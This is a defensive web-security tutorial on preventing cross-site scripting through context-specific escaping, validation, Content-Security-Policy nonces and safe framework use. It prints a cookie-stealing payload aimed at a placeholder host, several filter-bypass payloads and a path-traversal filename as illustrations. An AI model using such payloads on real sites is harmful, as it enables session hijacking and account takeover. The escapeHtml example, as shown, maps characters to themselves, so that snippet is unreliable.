Every string that reaches your application came from somewhere you do not control: a form field, a URL, a webhook payload, a filename, a CSV column, a support agent copying an email subject into an admin tool. The whole discipline of browser security reduces to one rule: at every boundary, decide whether this value is data or code — and never let the parser on the other side make that decision for you. XSS is what happens when a value crosses a boundary and the destination was expecting code.
One value, many contexts
The same search term men's shoes is harmless in one place and an exploit in another,
because each context has its own grammar and its own delimiters:
HTML body context <h1>results for: men's shoes</h1>
HTML attribute context <a title="results for: men's shoes">
JavaScript string const q = "results for: men's shoes";
URL context /search?q=men%27s+shoes
CSS context .banner { content: "men's shoes"; }Flip the example to a value containing a double quote and a tag — the classic payload below is 57 bytes end to end:
"><script>fetch('//evil.tld?c='+document.cookie)</script>In HTML body context, angle brackets must be escaped. In an attribute context, the quote that closes the attribute is the dangerous character — escape it and the payload becomes inert text. The correct escape function is therefore chosen by context, not by data:
const escapeHtml = (s) => s.replace(/[&<>"']/g, (c) => ({
"&": "&", "<": "<", ">": ">", '"': """, "'": "'",
}[c]));
// URL context is a different operation entirely — encoding, not HTML escaping.
const searchUrl = "/search?q=" + encodeURIComponent(term);
// Inside a <script> block, "<" must not survive, or "</script>" ends the block early.
const payload = JSON.stringify(data).replace(/</g, "\\u003c");Reusing escapeHtml for a query selector is a real bug class: escaping " to "
yields a selector that matches nothing, and developers "fix" it by concatenating raw input
back in, restoring the hole. Each interpreter — HTML, attribute, URL, CSS, JavaScript, SQL,
shell, selector — needs its own control, applied at the moment of output.
Validation runs first, but cannot run alone
Validation asks "does this look like the shape we expect?" and is essential for rejecting
500000 as a quantity or ../../etc/passwd as a filename. What validation cannot do is
sanitize for output, because attackers do not send the payload in the form you tested:
# Equivalent payloads a naive "blocklist <script>" filter walks right past:
%3Cscript%3Ealert(1)%3C/script%3E # percent-encoded
<scr<script>ipt>alert(1) # nested, after one pass removes the inner tag
<svg/onload=alert(1)> # no script element at allParsers accept many equivalent forms and decoders can run in multiple layers (URL decode, HTML entity decode, Unicode normalize), so a filter that checks for dangerous strings after one decode pass is a coin flip. Validate on the way in — allowlists by field, server-side, because the browser is trivially bypassed — and encode on the way out, at the point of rendering. They solve different problems at different times.
Content-Security-Policy: depth, not replacement
A CSP is a second line that limits what an injected payload can do, even if your encoding has a hole:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-4f3a9c1d'; \
object-src 'none'; base-uri 'self'; frame-ancestors 'none'With a per-response nonce, inline <script> tags execute only if they carry that nonce —
and an attacker's injected script cannot read it. This is why 'unsafe-inline' in
script-src quietly disables the entire control, and why report-uri/report-to is worth
setting while you roll a policy out: you learn which legacy inline handlers are still
running before you break them.
CSP does not cover everything. It does not stop exfiltration through allowed origins, form-based CSRF, or HTML injection that rewrites the page without running script (click jacking via injected links, phishing forms). Fix the templating; use the policy to make the next mistake survivable.
Where the enforcement actually lives
Frameworks already do half of this work, and knowing which half is the point. Rendering
engines escape text nodes by default: React's JSX text, Handlebars {{value}}, Jinja's
auto-escape, and Go's html/template all treat interpolations as data. The danger appears
at the deliberate opt-outs — dangerouslySetInnerHTML, Jinja's | safe, a direct
innerHTML assignment, a Markdown renderer configured to pass raw HTML through. Each one is
a boundary you crossed on purpose, and each one needs an explicit answer to "is this value
already safe?"
Two contexts survive auto-escaping, and both are common:
// 1. Attribute values: escaping stops markup, not URL schemes.
const safeHref = (raw) => {
const url = new URL(raw, "https://example.com"); // resolve relative values against a base
return ["http:", "https:"].includes(url.protocol) ? url.href : "#";
};
// 2. Query selectors: a value with quotes changes which element you select.
const node = document.querySelector("#" + CSS.escape(userProvidedId));And the boundary rule generalizes past the browser: SQL wants prepared statements, the shell wants an argument array rather than a concatenated string, and a log pipeline wants structured fields rather than interpolated text. Each interpreter gets the control designed for it, at the moment the value enters or leaves — validation where data enters (shape, type, length, allowlist), output encoding where it renders (context-specific). One without the other is a partial fix: encoding without validation stores garbage, and validation without encoding leaves the render path open.
Where this bites in production
- Stored XSS is the expensive kind. The payload is saved once — in a comment, a display name, an uploaded SVG — and executes for every subsequent viewer, including admins. A single stored hole in an admin dashboard is a full account-takeover chain.
- HTML you did not write is still HTML you serve: Markdown rendering, PDF/HTML email
export, SVG uploads, and JSON embedded in a
<script>tag are the four most common contexts teams forget to escape for. - Cookies decide the blast radius. Without
HttpOnly,document.cookiehands the session to the payload; withoutSecure, it can leak on plain HTTP. Set both. - Review every render site in a diff: a new template line that interpolates data is a new boundary. The question is never "is this input dangerous?" — it is "which grammar is this value being written into, and did I escape for that grammar?"
Further reading: the OWASP XSS prevention cheat sheet.